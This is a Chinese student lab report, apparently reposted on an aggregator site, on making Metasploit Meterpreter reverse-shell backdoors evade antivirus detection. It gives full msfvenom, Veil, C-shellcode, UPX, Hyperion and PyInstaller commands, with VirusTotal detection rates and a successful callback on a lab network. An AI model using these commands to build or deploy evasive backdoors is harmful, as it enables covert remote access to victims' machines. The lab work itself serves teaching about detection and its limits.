20232420 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/27 18:47:28/文章来源:https://www.cnblogs.com/a2344/p/19167783

1.实验内容

  • 学会使用msf编码器,veil-evasion,利用shellcode编程,加壳等免杀工具或技巧。

  • 尝试实现恶意代码免杀。

  • 理解免杀机制和原理,认识到杀软局限性。

2.实验过程

2.1 免杀效果参考基准

2.1.1 免杀效果的评价

用VirusTotal评价免杀效果。

2.1.2 参考基准

  • kali虚拟机上,msfvenom直接生成meterpreter可执行文件20232420backdoor.exe。指令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor.exe
    屏幕截图 2025-10-27 084417

  • 对该文件用VirusTotal检出率为47/70,即用70不同的反病毒引擎对文件进行扫描,其中有47个判断文件是恶意的。以此作为后续免杀效果的参考基准。
    屏幕截图 2025-10-27 092559

2.2 不同格式文件及Msfvenom使用编码器

2.2.1 exe文件和编码的exe文件

  • 使用msfvenom自带的编码器对后门文件进行编码,这里采用编码格式x86/shikata_ga_nai,指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded.exe。检出率为43/71,没什么效果。
    屏幕截图 2025-10-27 090515
    屏幕截图 2025-10-27 092720

  • 用参数-i设置编码次数为10次,指令为msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.190.128 LPORT=2420 -f exe > 20232420backdoor_encoded10.exe。检出率为42/71,可见这种免杀方式效果不明显。
    屏幕截图 2025-10-27 092301
    屏幕截图 2025-10-27 092956

2.2.2 jar文件和编码的jar文件

  • 使用msfvenom改为生成jar文件,指令为msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.jar。检出率为35/64,有明显提升。
    屏幕截图 2025-10-27 093410
    屏幕截图 2025-10-27 094056

  • 对jar文件进行10次编码msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.jar。检出率仍为35/64,可见改为jar文件能使后门文件更不容易被检测出来,而编码依旧没用。
    屏幕截图 2025-10-27 093713
    屏幕截图 2025-10-27 094953

2.2.3 php文件和编码的php文件

  • 改为生成php文件,指令为msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor.php。检出率为25/62,有明显免杀作用。
    屏幕截图 2025-10-27 100059
    屏幕截图 2025-10-27 100259

  • 将php文件编码10次,指令为msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.190.128 LPORT=2420 x > 20232420backdoor_encoded10.php,检出率为9/62,这一次编码后免杀效果明显,这是由于反病毒引擎对php文件的检测更依赖静态代码特征匹配,而多次编码后,静态特征被加密和混淆,引擎难以直接识别。
    屏幕截图 2025-10-27 100105
    屏幕截图 2025-10-27 100432

2.3 使用免杀平台Veil-Evasion

  • 安装好veil,进入操作界面,可以看到两个选项Evasion和Ordnance,Evasion用于生成免杀恶意payload,Ordnance用于生成辅助攻击工具或组件,这里use 1
    屏幕截图 2025-10-27 140123
    屏幕截图 2025-10-27 140215

  • 输入list,查看可以使用的Payloads。
    屏幕截图 2025-10-27 140250

  • 这里use 7,即使用c语言的c/meterpreter/rev_tcp,配置好信息,生成可执行文件。
    屏幕截图 2025-10-27 140410

set LHOST 192.168.190.128 #回连IP
set LPORT 2420 #回连端口                                   
generate
20232420payload #可执行文件名

屏幕截图 2025-10-27 140603

  • 在指定路径/var/lib/veil/output/compiled/找到生成的可执行文件。
    屏幕截图 2025-10-27 140749

  • 测试生成的可执行文件,检出率为36/71,说明veil有一定的免杀能力。
    图片

2.4 C语言调用Shellcode

  • 通过命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f c,得到C语言格式下的一个shellcode。
    屏幕截图 2025-10-27 142833

  • 将这段shellcode写入一个C语言程序当中,内容如下:
    屏幕截图 2025-10-27 143410
    屏幕截图 2025-10-27 143143

  • 通过命令i686-w64-mingw32-g++ 20232420_c_shellcode.c -o 20232420_c_shellcode.exe将其编译成可执行文件。
    屏幕截图 2025-10-27 143417

  • 测试生成的可执行文件,检出率为39/72,说明C语言调用Shellcode有一定的免杀能力。
    屏幕截图 2025-10-27 143508

2.5 加壳

2.5.1 压缩壳UPX

  • 通过命令upx 20232420_c_shellcode.exe -o 20232420_c_shellcode_upx.exe,给刚才的shellcode加一个UPX压缩壳。
    屏幕截图 2025-10-27 144224

  • 测试生成的可执行文件,检出率为42/71,加了壳,免杀效果反而变差了。
    屏幕截图 2025-10-27 144937

2.5.2 加密壳Hyperion

  • 输入命令cp 20232420_c_shellcode.exe /usr/share/windows-resources/hyperion/,将可执行文件20232420_c_shellcode.exe复制到Hyperion所在的目录中。
    输入命令cd /usr/share/windows-resources/hyperion/,将工作目录切换为Hyperion所在的目录。
    输入命令wine hyperion.exe -v 20232420_c_shellcode.exe 20232420_c_shellcode_hyp.exe,生成新的可执行文件20232420_c_shellcode_hyp.exe。
    屏幕截图 2025-10-27 145928
    屏幕截图 2025-10-27 150536
    屏幕截图 2025-10-27 150552

  • 测试生成的可执行文件,检出率为51/71,免杀效果也变差了。推测是因为这些加壳工具本身已经被高度警惕,加壳文件会直接被视为高风险文件。
    屏幕截图 2025-10-27 150916

2.6 通过组合使用msfvenom工具与封装技术尝试实现恶意代码免杀

  • 输入指令msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2420 -f raw > 20232420_python_shellcode.py,生成python格式的后门文件。
    屏幕截图 2025-10-27 171553

  • 将其复制到windows主机,在终端中输入指令pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232420_python_shellcode.py,将包含shellcode的python脚本打包为单文件.exe,运行时不显示控制台窗口,指定getpass、code、platform、shlex四个python标准库模块,利用打包工具的封装性隐藏原始代码的静态特征。
    屏幕截图 2025-10-27 165809
    屏幕截图 2025-10-27 165833

  • 用火绒查杀,没有发现该文件。推测是因为PyInstaller生成的.exe在很多场景下被视为“正常工具”,火绒可能对其执行的代码采取更宽松的检测策略。
    屏幕截图 2025-10-27 183749

  • 测试生成的可执行文件,检出率为17/72,免杀效果还是比较理想的。
    屏幕截图 2025-10-27 173039

  • 在火绒打开的情况下,尝试回连获取shell,成功。(注意参数是set payload python/meterpreter/reverse_tcp
    屏幕截图 2025-10-27 170135
    屏幕截图 2025-10-27 174945

3.问题及解决方案

  • 问题1:使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差。

  • 问题1解决方案:原因可能在于反病毒引擎对“加壳文件”的态度是“宁错杀不放过”,这些加壳工具本身已被反病毒引擎深度标记,只要检测到,默认标记为高风险。

  • 问题2:能执行.exe,却无法建立meterpreter会话。

  • 问题2解决方案: 参数一开始用的是set payload windows/meterpreter/reverse_tcp,应该改为set payload python/meterpreter/reverse_tcp。

4.问题回答

(1)杀软是如何检测出恶意代码的?

  • 主要是通过两个方面来检查,一是静态特征匹配,看是否具有已知恶意代码的特征;二是动态行为分析,检测软件是否作出任何可疑行为,如建立不正常的连接、修改系统配置等。

(2)免杀是做什么?

  • 免杀是指通过技术手段修改或隐藏恶意代码的特征与行为,使其看起来像正常程序,能够绕过杀软的检测与拦截,在目标系统中正常执行恶意功能。

(3)免杀的基本方法有哪些?

  • 目前看到的免杀方法基本都是对抗静态特征匹配,利用编码、压缩壳、加密壳、冗余代码插入等方式破坏静态特征,从而避免被杀软检测出来;还可以行为模拟正常程序,将恶意操作伪装成合法行为,如将建立不正常的连接模拟成浏览器访问。

5.学习感悟

本次实验中尝试了msfvenom编码器通过编码破坏静态特征,使用Veil-Evasion通过模板生成免杀payload,C语言调用Shellcode以及加壳,理解了静态免杀的核心是破坏杀软的特征码匹配,而动态免杀的关键是规避行为分析。过程中还发现了使用压缩壳UPX和加密壳Hyperion后免杀效果反而变差这一现象,这说明了免杀最重要的是隐蔽和伪装,用的手段越多,反而可能让恶意软件更显眼,效果反而更差。了解了免杀的工具和技术,也就能学会如何反制,然而对恶意软件的检测往往有滞后性,要认识到杀软的局限性,在生活中更要在社会工程学方面提高对于恶意软件防范能力。

参考资料

《0x23_MAL_免杀原理与实践.md》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/948008.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

掘金2025年:数字化商业浪潮下,如何选对平台与伙伴?一站式多商户商城系统推荐榜发布,多商户商城代理招募/多商户项目合伙人加盟/一站式开店代理项目加盟

随着数字化转型深入各行各业,个体创业与企业多渠道拓展需求激增,能够整合资源、快速部署、共享收益的多商户商城模式已成为市场新蓝海。2025年,预计相关平台与服务市场规模将持续扩大,但市场中项目质量、技术支撑与…

Tuack 生成 OI 比赛题目 PDF 笔记

一些关于 Tuack 生成 OI 比赛题目 PDF 的笔记Part 1. Tuack 的基本介绍 Tuack,是一个由来自 THU 的大佬 Mulab11 开发的,用于造算法竞赛题目的工具。 你可以用它:导出 PDF、Markdown、HTML 等多种不同格式,NOI、CP…

为医疗器械行业搭建“数字桥梁”,破解协同效率与合规难题

当传统沟通方式成为行业发展瓶颈,数字化协同正重塑医疗器械供应链的竞争力格局。当传统沟通方式成为行业发展瓶颈,数字化协同正重塑医疗器械供应链的竞争力格局。 “每天在微信、QQ群里有上百条沟通,订单、发货、发…

# 20232312 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容 1.1本周学习内容Metasploit 框架使用C语言编程与Shellcode集成跨平台编译技术加壳与免杀技术1.2回答问题 1.2.1杀毒软件如何检测恶意代码? 杀毒软件采用多种技术手段综合判断,主要方法包括:特征码检测原…

PostgreSQL 服务版

PostgreSQL 二进制下载地址 https://www.enterprisedb.com/download-postgresql-binaries尽量使用管理员权限 开始步骤 1.找到下载的目录,我这里使用的是版本18 C:\Users\Administrator\Downloads\pgsql 解压后会得到…

20232307 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20232307 2025-2026-1 《网络与系统攻防技术》实验三实验报告 1. 实验内容 本周学习内容:免杀一般是对恶意软件做处理,让它不被杀毒软件所检测。 杀毒软件原理包括:特征码、启发式、基于行为;文件校验和;云查杀;机…

配置idea创建文件时自动生成注解(如类注释、作者信息等)

可以按照以下步骤操作: 1. 配置类 / 接口的文件模板 适用于创建 Java 类、接口、枚举等文件时自动生成注释:打开设置:File > Settings(Windows/Linux)或 IntelliJ IDEA > Preferences(Mac)进入 Editor &g…

产品经理如何使用AI Agent智能体?一份深度测评与实战指南

引言 当你还在不同的AI工具中频繁切换时,一个名为“AI Agent”智能体的集合性工具,已经成为很多产品经理爱不释手的工具了。什么是产品经理的AI Agent智能体?它不是一个单点功能的AI工具,而是能充分理解逻辑、联系…

手机AIldquo;造反rdquo;了?你可能还不知道的四件大事儿

手机AI“造反”了?你可能还不知道的四件大事儿哎,自打ChatGPT火了以后,咱们是不是都觉得云上的AI特牛?啥都能聊,啥都懂。但说实话,你用着不烦吗?网一卡就“正在连接”,老担心自己的聊天记录…

2025年10月办公家具公司评价榜:基于真实数据的权威推荐清单

在现代办公环境不断升级的背景下,企业对办公家具的需求呈现出多元化、专业化的发展趋势。根据中国家具协会发布的行业报告显示,2024年办公家具市场规模已达到约1800亿元,年增长率保持在8%左右。越来越多的企业管理者…

vue+antv/x6项目使用问题

今天在解决使用这个框架进行流程绘制的使用,出现了一个问题,就是在引入以下插件的时候,一直报错import { Stencil } from @antv/x6-plugin-stencil错误信息为解决方法为 在vite.config.ts文件中增加以下信息resolve…

2025年10月办公家具公司推荐榜:五大品牌综合对比与权威评测

在现代办公环境中,选择合适的办公家具公司成为企业管理者面临的重要课题。根据行业调研数据显示,2025年办公家具市场规模持续扩大,企业用户对家具的需求呈现多元化趋势。无论是初创企业追求性价比,还是成熟企业注重…

《程序员修炼之道:从小工到专家》前五分之一观后感

《程序员修炼之道》前五分之一的内容,像一剂清醒剂,打破了我对“程序员成长”的浅层认知。这部分围绕“职业程序员的自我定位”展开,没有高深技术讲解,却用直白的观点,点出了从“小工”起步的关键认知跃迁。 “你…

2025年10月办公家具公司对比榜:行业现状与选购要点

在现代商业环境中,办公家具的选择不仅关乎员工的工作效率与舒适度,更直接影响企业形象与运营成本。随着2025年企业数字化转型的加速,办公家具行业呈现出智能化、模块化、人性化的发展趋势。根据中国家具协会发布的行…

坐标系与投影关系

[地理坐标系]4326 (WGS-84) 4490 (CGCS2000)|投影 |投影v v3857 (Web Mercator) 32650 (UTM Zone50N)

2025年10月办公家具供应商综合评测:服务与性价比的平衡之道

作为企业管理者或行政负责人,您在规划办公空间时往往面临多重挑战:如何在家具采购中平衡预算与品质,如何确保家具符合人体工学标准以提升员工工作效率,以及如何在家具交付安装过程中避免影响正常办公节奏。根据行业…

10.27及动手动脑

今天上了两节UML统一建模语言课,上了两节算法与数据结构,上了四节java课,创建了mysql数据库及数据表 https://files.cnblogs.com/files/blogs/847689/动手动脑4.zip?t=1761560541&download=true

数据库三大范式、Union和Union all的区别

数据库三大范式什么是范式范式就是我们在设置数据库的表时,一些共同需要遵守的规范 掌握这些设计时的范式,可以让我们在项目之初,设计库的表结构更加合理和优雅三大范式之间的关系三大范式之间,是逐级递进的关系,…

2025年10月办公家具公司推荐榜单:五大品牌深度对比分析

作为企业管理者或行政负责人,您在规划办公环境时可能面临多重挑战:如何平衡预算与品质,如何确保家具符合人体工学与长期使用需求,如何应对紧急搬迁或扩租的时间压力。办公家具采购不仅关乎员工工作效率与健康,更直…

【2025-10-26】连岳摘抄

23:59我们无论做人做事,都应该多从人家的实际处境想,不只是从自己的主观做出发点来想问题。这样的话,我相信,做人一定会做得好,事业也一定可以成功。——陈鹤琴我们都是男人,好,说话可以直接一点,粗糙一点。可…